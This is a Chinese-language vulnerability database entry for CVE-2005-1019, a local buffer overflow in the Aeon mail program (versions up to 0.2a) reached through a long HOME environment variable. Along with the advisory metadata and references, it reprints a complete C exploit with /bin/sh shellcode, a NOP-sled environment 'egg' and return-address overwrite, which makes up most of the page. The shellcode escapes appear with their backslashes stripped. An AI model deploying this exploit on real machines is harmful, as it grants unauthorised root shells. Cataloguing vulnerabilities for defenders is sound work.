Aeon 缓冲区溢出漏洞

Aeon 缓冲区溢出漏洞

漏洞ID 1108618 漏洞类型 缓冲区溢出
发布时间 2005-04-05 更新时间 2005-05-02
图片[1]-Aeon 缓冲区溢出漏洞-安全小百科CVE编号 CVE-2005-1019
图片[2]-Aeon 缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200505-682
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/914
https://www.securityfocus.com/bid/82387
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-682
|漏洞详情
Aeon0.2a及更早版本中的getConfig函数内存在缓冲区溢出,本地用户可以通过一个长HOME环境变量来获取权限。
|漏洞EXP
/* first release /str0ke */
/*
local linux exploit within aeon-0.2a
Coded by patr0n (security-tmp.h14.ru)
*/


#define BUFLEN 533
#define PATH "/home/research/aeon-0.2a/aeon"

char shellcode[]=
"x31xc0x31xdbxb0x17xcdx80"
"xb0x2excdx80xebx15x5bx31"
"xc0x88x43x07x89x5bx08x89"
"x43x0cx8dx4bx08x31xd2xb0"
"x0bxcdx80xe8xe6xffxffxff"
"/bin/sh";

int main(int argc, char *argv[]) {

        char evilbuf[BUFLEN];
        int i;
        char *p,*av[2], *ev[3];
        char *egg;

        egg=(char *)malloc(1000);
        sprintf(egg, "EGG=");
        memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
        sprintf(egg + 4 + 1000-1-strlen(shellcode), "%s", shellcode);
	
	long ret=0xbfffffff-5-strlen(egg)-strlen(PATH);

        p=evilbuf;
        bzero(evilbuf,sizeof(evilbuf));
	strcpy(evilbuf,"HOME=");
		
        for(i=5;i<=BUFLEN;i+=4) 
	    *(long *)(p+i)=ret; 
	
        av[0] = PATH;
        av[1] = 0;
        ev[0] = egg;
	ev[1] = evilbuf;
        ev[2] = 0;
        execve(*av, av, ev);

        return 0;

}

// milw0rm.com [2005-04-05]
|受影响的产品
Aeon Aeon 0.1.9

Aeon Aeon 0.1.8

Aeon Aeon 0.2A

Aeon Aeon 0.2

|参考资料

来源:XF
名称:aeon-getconfig-bo(19951)
链接:http://xforce.iss.net/xforce/xfdb/19951
来源:MISC
链接:http://security-tmp.h14.ru/exploits/23laeon.c.txt
来源:BUGTRAQ
名称:20050404LocalbufferoverflowonAeon<=0.2a
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=111262942708249&w;=2

相关推荐: Computer Associates eTrust EZAntivirus User Interface Local Authentication Bypass Vulnerability

Computer Associates eTrust EZAntivirus User Interface Local Authentication Bypass Vulnerability 漏洞ID 1097621 漏洞类型 Design Error 发布时…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享